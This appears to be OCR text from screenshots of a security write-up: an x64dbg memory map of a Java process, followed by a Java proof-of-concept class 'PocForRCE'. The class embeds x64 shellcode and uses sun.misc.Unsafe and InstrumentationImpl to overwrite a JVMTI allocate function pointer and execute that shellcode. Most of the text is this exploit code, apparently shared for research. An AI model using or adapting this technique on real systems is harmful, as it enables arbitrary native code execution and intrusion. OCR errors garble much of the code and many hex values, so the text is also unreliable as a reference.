m\/\_,\/;(”

SCip0l

WESmEZ TR R AR AN

DTERENFME,

A&

% java.exe - PID: 2340 - £ FEHHE 19724 - x64dbg
xfE  MEWV  AERO)  BEN  BEEFE  EEEO EH0  FHH  Juwl Engi
PLIEA IS E I RN FArTF 2NN 1
@ev [GEE &R e A ®WpaEAR ) @R spomE o BE @ FE O ERB sim war & an ¢ EE
Hdt b gﬁ WNE
000002C4EAOCFO00 | 0000000000001000 | 488 (000002C4E9FDO000)
000002C4EAODO00O | 00000000000€9000 | \Device\HarddiskvolumeS\windows\system32\locale.nls
000002C4EA1A0000 | 0000000000005000
000002C4EATAS000 | 0000000000050000 | #58 (000002C4EAIAQ000)
000002C4EA210000 | 0000000000002000
000002C4EA212000 | 0000000000060000 | 75 (000002C4EA210000)
000002C4EA280000 | 0000000000001000
000002C4EA290000 | 0000000000001000
000002C4EA2A0000 | 0000000000001000
000002C4EA280000 | 0000000000001000
000002C4EA2C0000 | 0000000000010000 | \Device\HarddiskvolumeS\Users\rebey\AppData\Local\Temp\hsperfdata_rebey\2340
000002C4EA200000 | 000000000000F000
000002C4EA2DF000 | 0000000000001000 | 75 (000002C4EA2D0000)
000002C4EA2E0000 | 0000000000028000
000002C4EA308000 | 0000000000108000 | 758 (000002C4EA2E0000)
000002C4EA4E0000 | 0000000000181000
000002C4EA670000 | 00000000001AB000
000002C4EA81B000 | 0000000001256000 | 458 (000002C4EAG70000)
000002C4EBAS0000 | 0000000000600000
000002C4EC150000 RE (000002C )]
000002C4FAA80000 | 000000000001C000
000002C4FAAICO00 % (000002C: )]
000002C4FAE40000 | 0000000000076000
000002¢: 000 | /& (000002C )
000002C4FAF29000 | 0000000000056000
000002C4FAF7F000 RE (000002c: )]
000002C4FAF9EQ00 | 0000000000001000
000002c: RE (000002c: D
000002C4FAFA0000 | 0000000000076000
000002C4FBO16000 | 000000000007A000 | 758 (000002C4FAFAQ000)
000002C4FB090000 | 00000000015£0000
000002C4FC670000 | 0000000000010000
000002C4FC680000 | 0000000000160000
000002C4FC7E0000 | 0000000000800000
000002C4FCFE0000 | 00000000000FF000
000002C4FDODFO00 | 0000000000001000 | 75 (000002C4FCFE0000)
000002C4FDOE0000 | 00000000001FF000
000002C4FD2DF000 8 (000002¢ )
000002C4FD2E0000 | 0000000000005000 | &
000002C4FD2E5000 | 0000000000101000
C RE (000002c: )]
000002C4FD3F0000 | 0000000000001000 | &
000002C4FD3F1000 | 0000000000101000
000002C4FD4F2000 RE (000002c: )
000002C4FD500000 | 0000000000001000 | &
000002c4FD501000 | 0000000000101000 PRV | -RW--
000002C4FD602000 RE (000002¢4FD! ) PRV

(https://xzfile.aliyuncs.com/media/upload/picture/20210817201113-375e9bab -
ff54-1.png)
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package net.rebeyond;

import

import
import
import
import
import
import

sun.misc.Unsafe;

java.lang.instrument.ClassDefinition;
java.lang.reflect.Constructor;
java.lang.reflect.Field;
java.lang.reflect.Method;
java.util.HashMap;

java.util.Map;

public class PocForRCE {

public static void main(String [] args) throws Throwable {

0xf0o,

0x41,

0x65,

0x18,

0x50,

0xc9,

0x02,

0x01,

0x8b,

0xdo,

0x85,

0x8b,

Nx A1

byte buf[]
{

(byte) 0xe8,

(byte) 0x50,

(byte) 0x48,

(byte) 0x48,

(byte) 0x48,

(byte) 0x48,

(byte) 0x2c,

(byte) 0xcl,

(byte) 0x52,

(byte) 0x8b,

(byte) 0xco,

(byte) 0x48,

Chvta) Axdn

= new byte[]

(byte) 0x41, (byte) 0x48,
(byte) 0xc@, (byte) 0x00,
(byte) 0x00, (byte) 0x00,
(byte) 0x52, (byte) 0x51,
(byte) 0x56, (byte) 0x48,
(byte) 0x8b, (byte) 0x52,
(byte) 0x60, (byte) 0x48,
(byte) 0x8b, (byte) 0x52,
(byte) 0x20, (byte) 0x48,
(byte) 0x0f, (byte) 0xb7,
(byte) 0x4a, (byte) 0x4a,
(byte) 0x31, (byte) 0xc0,
(byte) 0xac, (byte) 0x3c,
(byte) 0x20, (byte) 0x41,
(byte) 0xcl, (byte) 0xc9,
(byte) 0xe2, (byte) Oxed,
(byte) 0x52, (byte) 0x41,
(byte) 0x20, (byte) 0x8b,
(byte) 0x42, (byte) 0x3c,
(byte) 0x80, (byte) 0x88,
(byte) 0x00, (byte) 0x00,
(byte) 0x74, (byte) 0x67,
(byte) 0x48, (byte) 0x01,
(byte) 0x18, (byte) 0x44,
(byte) 0x8b, (byte) 0x40,
(hvta) Oxel  (huka) OxSA

(byte) 0x83,

(byte) 0x41,

(byte) 0x31,

(byte) Ox8b,

(byte) Ox8b,

(byte) Ox4d,

(byte) 0x61,

(byte) 0x0d,

(byte) 0x51,

(byte) 0x48,

(byte) 0x00,

(byte) 0xdo,

(byte) 0x20,

M S Ll 72A) 1 1=JHJ
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(byte) 0xe4,

(byte) 0x51,

(byte) Oxd2,

(byte) 0x52,

(byte) 0x72,

(byte) 0x31,

(byte) 0x7c,

(byte) 0x41,

(byte) 0x48,

(byte) 0x01,

(byte) 0x48,

(byte) 0x50,

(byte) 0x49,

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)



0x75,

0x01,

0x8b,

0x04,

0x58,

0x41,

Oxff,

0x12,

Oxba,

0x00,

0x41,

Oxbb,

0x95,

0x28,

0x75,

0x00,

0x61,

(byte) 0x34,

(byte) 0x48,

(byte) Ox41,

(byte) 0x03,

(byte) 0xd8,

(byte) 0xdo,

(byte) 0x40,

(byte) 0x88,

(byte) 0x5e,

(byte) 0x5a,

(byte) 0xe0,

(byte) 0xe9,

(byte) 0x01,

(byte) 0x48,

(byte) 0xba,

(byte) 0xf0,

(byte) 0xbd,

(byte) 0x3c,

(byte) 0x05,

(byte) 0x59,

(byte) 0Oxoc,

1
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(byte) 0x48, (byte) Oxff,
(byte) 0x88, (byte) 0x48,
(byte) 0x01, (byte) 0xd6,
(byte) 0x31, (byte) 0xco,
(byte) 0xac, (byte) 0x41,
(byte) 0x01, (byte) 0xcl,
(byte) 0x38, (byte) 0xe0,
(byte) 0x4c, (byte) 0x24,
(byte) 0x08, (byte) 0x45,

(byte) 0x58, (byte) 0x44,
(byte) 0x8b, (byte) 0x40,
(byte) 0x66, (byte) 0x41,
(byte) 0x8b, (byte) 0x0c,
(byte) 0xlc, (byte) 0x49,
(byte) 0x01, (byte) 0xdo,
(byte) 0x48, (byte) 0x01,
(byte) 0xdo, (byte) 0x41,
(byte) 0x59, (byte) 0x5a,
(byte) 0x41, (byte) 0x58,
(byte) 0x48, (byte) 0x83,
(byte) 0Oxec, (byte) 0x20,
(byte) 0x58, (byte) 0x41,
(byte) 0x59, (byte) 0x5a,
(byte) 0x57, (byte) Oxff,
(byte) oxff, (byte) Oxff,
(byte) 0x00, (byte) 0x00,
(byte) 0x00, (byte) 0x00,
(byte) 0x8d, (byte) 0x&d,
(byte) 0x01, (byte) 0x01,
(byte) 0x31, (byte) 0x8b,
(byte) 0xof, (byte) 0x87,
(byte) 0xb5, (byte) 0xa2,
(byte) 0x56, (byte) 0x41,
(byte) 0x9d, (byte) oOxff,
(byte) 0xd5, (byte) 0x48,
(byte) 0x06, (byte) 0x7c,
(byte) 0x0a, (byte) 0x80,
(byte) 0xbb, (byte) 0x47,
(byte) 0x13, (byte) 0x72,
(byte) 0x41, (byte) 0x89,
(byte) Oxda, (byte) Oxff,
(byte) 0x63, (byte) 0Ox2e,
(byte) 0x65, (byte) 0x78,

Unsafe unsafe = null;

try {

(byte) 0xc9,

(byte) 0x4d,

(byte) 0xc1l,

(byte) 0x75,

(byte) 0x39,

(byte) 0x24,

(byte) 0x48,

(byte) 0x41,

(byte) 0x58,

(byte) 0x41,

(byte) 0x41,

(byte) 0x48,

(byte) 0x5d,

(byte) 0x00,

(byte) 0x00,

(byte) Oxff,

(byte) 0Oxba,

(byte) 0x83,

(byte) Oxfb,

(byte) 0xof,

(byte) 0xd5,

(byte) 0x65,

(byte) 0x41,

(byte) 0x31,

(byte) 0xc9,

(byte) 0xf1,

(byte) 0xd1,

(byte) 0x49,

(byte) 0x44,

(byte) 0x8b,

(byte) 0x41,

(byte) 0x59,

(byte) 0x52,

(byte) 0x8b,

(byte) 0x48,

(byte) 0x00,

(byte) 0x00,

(byte) 0xd5,

(byte) 0xab6,

(byte) 0xc4,

(byte) 0xe0,

(byte) 0xoa,

(byte) 0x63,

(byte) 0x00

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (sun.misc.Unsafe) field.get(null);



} catch (Exception e) {
throw new AssertionError(e);

long size = buf.length+@x178; // a long is 64 bits
(http://docs.oracle.com/javase/tutorial/java/nutsandbolts/datatypes.html)

long allocateMemory = unsafe.allocateMemory(size);

System.out.println("allocateMemory: "+Long.toHexString(allocateMemory));

Map map=new HashMap();
map.put("X","y");
//unsafe.putObject(map,allocateMemory+0x10,ints);
//unsafe.putByte(allocateMemory,);
PocForRCE poc=new PocForRCEQ);
for (int i=0;1<10000;1i++)
{

poc.b(33);
ks
Thread.sleep(2000);
for (int k=0;k<10000;k++)

{
long tmp=unsafe.allocateMemory(@x4000);
//unsafe.putlLong(tmp+0x3900,tmp);
//System.out.println("alloce:"+Long.toHexString(tmp));
ks

long shellcodeBed = 0;

int offset=4;

for (int j=-0x1000;j<0x1000;j++) //down search
{

long target=unsafe.getAddress(allocateMemory+j*offset);

System.out.println("start get
"+Long.toHexString(allocateMemory+j*offset)+",adress: "+Long.toHexString(target)+",
now j is :"+j);

if (target%8>0)

{

continue;

}

if (target>
(allocateMemory&@xffffffff000000001)&&target<(allocateMemory |@xffffffl))

{

if ((targetR@xffffffffffo000001)==
(allocateMemory&@xffffffffffoooool))
{

continue;
ks
if
(Long.toHexString(target).index0f("000000" )>0| | Long.toHexString(target).endsWith("
bebeb@") | ILong.toHexString(target).endsWith("abebeb"))
{

System.out.println("maybe error address,skip



"+Long.toHexString(target));
continue;

ks
System.out.println("BYTE: "+unsafe.getByte(target));

//System.out.println("get address:"+Long.toHexString(target)+",at
:"+Long. toHexString(allocateMemory-3));

if
(unsafe.getByte(target)==0X55| lunsafe.getByte(target)==0XE8| lunsafe.getByte(target
)==(byte)0xAQ| lunsafe.getByte(target)==0x481| lunsafe.getByte(target)==Cbyte)0x66)

{

System.out.println("get
address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-
j*offset)+",BYTE:"+Long.toHexString(unsafe.getByte(target)));

shellcodeBed=target;

break;

if (shellcodeBed==0)

{
for (int j=-0x100;j<0x800;j++) //down search
{

long target=unsafe.getAddress(allocateMemory+j*offset);

System.out.println("start get
"+Long.toHexString(allocateMemory+j*offset)+",adress:"+Long.toHexString(target)+",
now j is :"+j);

if (target%8-0)

{

continue;

ks

if (target>
(allocateMemory&@xffffffffo00000001)&&target<(allocateMemory |@xffffffffl))

{

if ((target@@xffffffffffo000001)==
(allocateMemory&@xffffffffffoooo0ol))
{

continue;

ks

if
(Long.toHexString(target).index0f("0000000" )>0| | Long.toHexString(target).endsWith(
"bebeb@") | |Long. toHexString(target).endsWith("abebeb™"))

{

System.out.println("maybe error address,skip
"+Long.toHexString(target));
continue;
}
System.out.println("BYTE: "+unsafe.getByte(target));

//Svstem._out . nrintln("aet



address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-3j));
if
(unsafe.getByte(target)==0X55I lunsafe.getByte(target)==0XE8| lunsafe.getByte(target
)==(byte)@xAQd| lunsafe.getByte(target)==0x48)
{
System.out.println("get bigger cache

address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-

j*offset)+",BYTE:"+Long.toHexString(unsafe.getByte(target)));
shellcodeBed=target;

break;

}

System.out.println("find address end,address is
"+Long.toHexString(shellcodeBed)+" mod 8 is:"+shellcodeBed%8);

String address="",

allocateMemory=shellcodeBed;

address=allocateMemory+"";
(Class cls=Class.forName("sun.instrument.InstrumentationImpl");

Constructor constructor=cls.getDeclaredConstructors()[@];
constructor.setAccessible(true);
Object obj=constructor.newInstance(Long.parselLong(address),true,true);
Method redefineMethod=cls.getMethod("redefineClasses" ,new Class[]
{ClassDefinition[].class});
ClassDefinition classDefinition=new ClassDefinition(
Class.class,
new byte[]{});
ClassDefinition[] classDefinitions=new ClassDefinition[]{classDefinition};
try
{
unsafe.putLong(allocateMemory+8,allocateMemory+0x10); //set

**jvmtienv point to it's next memory region

unsafe.putLong(allocateMemory+8+8,allocateMemory+@x10@); //set
*jvmtienv point to itself

unsafe.putlLong(allocateMemory+@x10+0x168,allocateMemory+0x10+0x168+8);
//overwrite allocate function pointer to allocateMemory+@x10+0x168+8

for (int k=0;k<buf.length;k++)

{

unsafe.putByte(allocateMemory+0x10+0x168+8+k,buf[k]); //write

shellcode to allocate function body

ks
redefineMethod.invoke(obj,new Object[]{classDefinitions}); //trigger

allocate

}

catch (Exception e)

{
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ks
private int a(int x)
{
if (x>1)
{
// System.out.println("x>1");
}
else
{
// System.out.println("x<=1");
ks

return x*1;
ks
private void b(int x)
{
if (a(x)>1)
{
//System.out.println("x>1");
this.a(x);
}

else

{
this.a(x+4);
// System.out.println("x<=1");
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